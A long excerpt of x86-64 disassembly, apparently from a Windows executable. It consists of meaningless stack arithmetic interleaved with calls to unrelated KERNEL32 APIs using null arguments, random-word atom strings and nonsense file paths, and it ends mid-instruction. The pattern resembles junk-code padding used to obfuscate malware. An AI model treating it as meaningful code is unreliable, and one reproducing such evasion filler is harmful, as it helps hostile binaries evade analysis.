mov dword [rsp + 0x4b58], eax
mov rax, qword [rsp + 0x95c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6097], al
movsx eax, byte [rsp + 0x6a]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0xb758]
mov byte [rcx], al
movzx eax, byte [rsp + 0xab]
mov byte [rsp + 0x179], al
movzx eax, word [rsp + 0x1094]
mov rcx, qword [0x1401e7918]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xda4], ax
movzx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0xa8e8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7c8]
mov eax, dword [rax]
mov dword [rsp + 0x4b5c], eax
mov rax, qword [rsp + 0xa858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa118]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbde8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xb6c0]
mov eax, dword [rax]
mov dword [rsp + 0x4b60], eax
mov rax, qword [rsp + 0xaa90]
movzx ecx, al
mov rax, qword [rsp + 0x9210]
shr rax, cl
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0x9d18]
movsx eax, word [rax]
mov rcx, qword [0x1401e7870]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e6104], ax
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x17a], al
movzx eax, byte [rsp + 0xd3]
movzx ecx, byte [rsp + 0x62]
and eax, ecx
mov byte [rsp + 0x6c], al
movsx eax, word [rsp + 0xe70]
movsx ecx, word [rsp + 0xcc8]
add eax, ecx
mov word [rsp + 0xc88], ax
lea rax, [rsp + 0x1118]
mov qword [rsp + 0xc110], rax
mov eax, dword [rsp + 0x4244]
mov ecx, dword [rsp + 0x4340]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49c0], eax
lea rax, [rsp + 0xa3f0]
mov qword [rsp + 0xc118], rax
mov rax, qword [rsp + 0xbf50]
mov rcx, qword [rsp + 0xb978]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb208], rax
mov edx, 0x132b
mov rcx, qword [rsp + 0x9870]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4b64], eax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43a8], eax
lea rax, [rsp + 0x1100]
mov qword [0x1401e7948], rax
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0xc120], rax
movsx eax, byte [rsp + 0xfa]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0xa620]
mov byte [rcx], al
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0xb5e8]
movzx eax, byte [rax]
mov byte [rsp + 0x17b], al
movsx eax, word [rsp + 0x1028]
movsx ecx, word [rsp + 0xf4c]
and eax, ecx
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9758]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb200], rax
mov rax, qword [rsp + 0xb278]
mov rax, qword [rax]
mov qword [rsp + 0xc128], rax
mov eax, dword [rsp + 0x448c]
mov ecx, dword [0x1401e741c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4624], eax
lea rdx, [rsp + 0x4374]
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4540], eax
mov rax, qword [rsp + 0x9130]
mov eax, dword [rax]
mov dword [rsp + 0x4b68], eax
movsx eax, byte [rsp + 0xb9]
mov rcx, qword [rsp + 0xa710]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e606a], al
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
shl eax, cl
mov rcx, qword [rsp + 0xa588]
mov byte [rcx], al
lea rax, [rsp + 0xe74]
mov qword [rsp + 0xc130], rax
movsx eax, byte [rsp + 0x117]
mov rcx, qword [rsp + 0xb000]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x9a], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:ArachnophobiaPrideimpersonal
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc138], rax
mov rcx, qword [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x438c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0xa760]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1168]
xor eax, ecx
mov word [rsp + 0xe1c], ax
mov dword [rsp + 0x2a940], 0x94
mov rax, qword [rsp + 0x9278]
mov qword [rsp + 0xc140], rax
mov rax, qword [rsp + 0xab40]
mov ecx, dword [0x1401e6018]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x437c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
lea rax, [rsp + 0x47bc]
mov qword [rsp + 0xc148], rax
mov rax, qword [rsp + 0xb730]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9690], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4948], eax
lea rcx, [rsp + 0x25610]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0xf5c]
mov qword [0x1401e7950], rax
lea rcx, str.bowdlerising_basted_prohibitionists
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0xb9c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa698]
mov byte [rcx], al
lea rax, [rsp + 0x141]
mov qword [rsp + 0xc150], rax
mov rax, qword [rsp + 0xad40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdec]
add eax, ecx
mov rcx, qword [rsp + 0xa650]
mov word [rcx], ax
movzx eax, word [0x1401e6050]
mov word [rsp + 0x1174], ax
mov rcx, qword [rsp + 0x8c08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa408]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb298], rax
mov eax, dword [rsp + 0x4584]
mov ecx, dword [rsp + 0x4acc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ae8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4830], eax
lea rax, [rsp + 0xa510]
mov qword [rsp + 0xc158], rax
mov rax, qword [rsp + 0xad88]
mov rcx, qword [rsp + 0x9018]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9a78]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc160], rax
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov byte [0x1401e609a], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
mov rax, qword [rsp + 0xb6a8]
movzx eax, byte [rax]
mov byte [rsp + 0x17c], al
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0x13b]
and eax, ecx
mov rcx, qword [rsp + 0x99a8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9b60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
add eax, ecx
mov rcx, qword [rsp + 0xac78]
mov word [rcx], ax
lea rax, [rsp + 0xf94]
mov qword [rsp + 0xc168], rax
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x47ac]
sar eax, cl
mov rcx, qword [rsp + 0x9498]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xcfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1178], ax
lea rcx, [rsp + 0x2a1c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4824], eax
lea rax, [rsp + 0xb5b0]
mov qword [rsp + 0xc170], rax
mov rax, qword [rsp + 0xba80]
mov rcx, qword [rsp + 0x99c0]
mov qword [rsp + 0xc178], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc178]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9648], rax
mov eax, dword [rsp + 0x4554]
mov dword [rsp + 0x4b6c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0xb2c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb418]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0x96d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x105]
or eax, ecx
mov byte [0x1401e607e], al
mov rax, qword [rsp + 0xb9d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcd0]
add eax, ecx
mov word [rsp + 0xcc8], ax
lea rax, [rsp + 0xce4]
mov qword [rsp + 0xc180], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x160]
movsx ecx, byte [rsp + 0x171]
and eax, ecx
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0x9850]
mov rax, qword [rax]
mov qword [rsp + 0xc188], rax
mov eax, dword [rsp + 0x43d4]
mov ecx, dword [rsp + 0x44e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0xac48]
mov rcx, qword [rsp + 0x9648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0xb1d0]
mov eax, dword [rax]
mov dword [rsp + 0x4b70], eax
xor r9d, r9d
lea r8, [rsp + 0xbf08]
mov rdx, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4968], eax
movzx eax, word [rsp + 0xbcc]
movzx ecx, word [0x1401e7810]
sub eax, ecx
mov word [rsp + 0x1054], ax
lea rax, [rsp + 0xcbc]
mov qword [0x1401e7958], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0x117c], ax
lea rcx, [rsp + 0x26b18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xbed0]
movzx eax, word [rax]
mov rcx, qword [0x1401e76d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1064], ax
movzx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0xb5e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0xace0]
mov qword [rsp + 0xc190], rax
mov rax, qword [rsp + 0x9210]
mov rcx, qword [rsp + 0xba88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7a8], rax
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0xc198], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x40dc
mov rcx, qword [rsp + 0xbca0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a54], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b2c], eax
mov r9d, 0x2cd
xor r8d, r8d
lea rdx, [rsp + 0xba98]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b74], eax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7638]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa2c0]
mov byte [rcx], al
movzx eax, word [rsp + 0xdf8]
movzx ecx, word [rsp + 0xf28]
cdq
idiv ecx
mov word [0x1401e6034], ax
movzx eax, word [rsp + 0x1124]
mov word [rsp + 0x1180], ax
lea rcx, [rsp + 0x26a28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0xbfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0xb108]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7528]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0f0]
movzx eax, byte [rax]
mov byte [rsp + 0x17d], al
mov eax, dword [rsp + 0x4a94]
movzx ecx, al
mov eax, dword [rsp + 0x4a4c]
shl eax, cl
mov rcx, qword [rsp + 0xb4d8]
mov dword [rcx], eax
mov edx, 0x6107d6
mov rcx, qword [rsp + 0xbad8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4b78], eax
lea rax, [rsp + 0xbd30]
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xbd38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92a8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4b54]
sar eax, cl
mov rcx, qword [rsp + 0x9cf0]
mov dword [rcx], eax
lea rcx, [rsp + 0x255e8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
lea rax, [0x1401e60f8]
mov qword [rsp + 0xc1a8], rax
movzx eax, word [rsp + 0x1120]
mov rcx, qword [rsp + 0xb500]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e612c], ax
mov rax, qword [rsp + 0x9cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfa]
sub eax, ecx
mov byte [rsp + 0x90], al
lea rax, [0x1401e604e]
mov qword [rsp + 0xc1b0], rax
lea rcx, [rsp + 0x26938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x141], al
mov rax, qword [rsp + 0xb108]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96d0]
mov byte [rcx], al
lea rax, [0x1401e7420]
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0xb7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4b68]
mov dword [rsp + 0x4b7c], eax
mov rax, qword [rsp + 0xaa90]
mov rcx, qword [rsp + 0x9af8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb370]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x144]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e602f], al
movzx eax, word [rsp + 0x1168]
mov rcx, qword [0x1401e7558]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa608]
mov word [rcx], ax
lea rax, [rsp + 0xf54]
mov qword [rsp + 0xc1c0], rax
movsx eax, word [rsp + 0xf30]
movsx ecx, word [rsp + 0xba8]
add eax, ecx
mov word [rsp + 0xbc8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xae18], rax
lea rcx, str.biophysical_maximising
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1184], ax
mov rax, qword [rsp + 0xa370]
movzx eax, byte [rax]
mov byte [rsp + 0x17e], al
mov rcx, qword [rsp + 0x9c58]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x46d4], eax
mov rax, qword [rsp + 0xa5d0]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa3d8]
mov qword [rcx], rax
lea rax, [rsp + 0x4898]
mov qword [rsp + 0xc1c8], rax
mov rax, qword [rsp + 0xac68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9448], rax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x48d4], eax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9130]
mov qword [rsp + 0xc1d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4b28], eax
movzx eax, byte [rsp + 0xe6]
mov byte [0x1401e74e2], al
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0x17f], al
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [0x1401e605a]
xor eax, ecx
mov rcx, qword [rsp + 0x9630]
mov byte [rcx], al
movzx eax, word [rsp + 0xb68]
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb7e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x112c]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa6d0]
mov word [rcx], ax
lea rcx, str.Responsively_Heal_backtracked_Jumpy
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x118c], ax
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [rsp + 0xa9c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa200], rax
lea rax, [rsp + 0x43d4]
mov qword [rsp + 0xc1d8], rax
mov rax, qword [rsp + 0xb4a8]
mov rcx, qword [rsp + 0x98e0]
mov qword [rsp + 0xc1e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb0d8], rax
lea rax, [rsp + 0x44c4]
mov qword [rsp + 0xc1e8], rax
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e7610]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov byte [rsp + 0xa0], al
lea rax, [rsp + 0x1160]
mov qword [rsp + 0xc1f0], rax
mov rax, qword [rsp + 0xb6d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdfc]
imul eax, ecx
mov word [rsp + 0xd0c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
lea rax, section..data
mov qword [rsp + 0xc1f8], rax
movzx ecx, word [rsp + 0xd34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe88], ax
mov rax, qword [rsp + 0xa570]
mov rcx, qword [rsp + 0xba80]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbed8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4a3c]
mov ecx, dword [rsp + 0x46d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa660]
mov qword [rsp + 0xc200], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xc208], rax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4460], eax
movsx eax, word [rsp + 0xe94]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e77cc], ax
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x49c4], eax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [0x1401e602b]
sub eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov byte [rcx], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xc210], rax
movzx eax, word [rsp + 0xd68]
movzx ecx, word [rsp + 0xe60]
sub eax, ecx
mov word [rsp + 0xc0c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rax, [rsp + 0xe00]
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [0x1401e7410]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa500]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb388]
mov rcx, qword [rsp + 0xc1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x484c], eax
mov eax, dword [rsp + 0x489c]
mov dword [rsp + 0x4b80], eax
mov rax, qword [rsp + 0xa238]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba60]
mov qword [rsp + 0xc220], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc220]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9488], rax
lea rax, [rsp + 0x164]
mov qword [0x1401e7960], rax
lea rax, [rsp + 0xc3]
mov qword [rsp + 0xc228], rax
mov rax, qword [rsp + 0xa518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65]
or eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0xbac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc58]
sar eax, cl
mov word [rsp + 0xc5c], ax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0xc230], rax
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4384]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa2e0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4740]
mov dword [rsp + 0x4b84], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
mov rcx, qword [rsp + 0xadd0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xbec8]
mov rcx, qword [rsp + 0x98c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc068]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xa268]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbba8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4a18], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C:MunicipaldetourSneering
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc238], rax
mov rax, qword [rsp + 0xb780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xabe8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e7570]
mov word [rcx], ax
mov rax, qword [rsp + 0xc010]
movzx eax, word [rax]
mov word [rsp + 0x1190], ax
movzx eax, word [rsp + 0xd50]
mov rcx, qword [rsp + 0xa398]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb178]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8c0]
movzx eax, byte [rax]
mov byte [rsp + 0x180], al
movzx eax, word [rsp + 0xbd0]
mov rcx, qword [rsp + 0xb810]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbb8], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4438], eax
mov eax, dword [section..data]
mov dword [rsp + 0x4b88], eax
mov rax, qword [rsp + 0xaf88]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xaa60]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rcx, str.lubber_Jetlagged_flamboyant_affirmatively_Affirmatively
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0xb748]
mov rcx, qword [rsp + 0xaf48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x92f0], rax
mov eax, dword [rsp + 0x4a44]
mov dword [rsp + 0x4b8c], eax
mov rcx, qword [rsp + 0xbf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b90], eax
lea rcx, [rsp + 0x2a260]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x482c], eax
mov rcx, qword [rsp + 0xad08]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x43e4], eax
lea rax, [rsp + 0xb2]
mov qword [0x1401e7968], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:AnxietiesAldehydes_steppes
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc240], rax
mov rax, qword [rsp + 0x94a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12c], al
lea rax, [0x1401e608a]
mov qword [rsp + 0xc248], rax
mov rax, qword [rsp + 0x9da0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb440]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x95a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0xbd50]
mov eax, dword [rax]
mov dword [rsp + 0x4b94], eax
mov rax, qword [rsp + 0x9c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc040]
mov qword [rsp + 0xc250], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc250]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xbad0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa5a8]
mov qword [rsp + 0xc258], rax
mov rax, qword [rsp + 0xa990]
mov rcx, qword [rsp + 0x9dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xaba8]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa678]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xaab8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb048]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e609b], al
lea rax, [rsp + 0xc14]
mov qword [rsp + 0xc260], rax
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0x6b]
sub eax, ecx
mov byte [rsp + 0xb0], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x48e0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x69ae
mov rcx, qword [rsp + 0x9510]
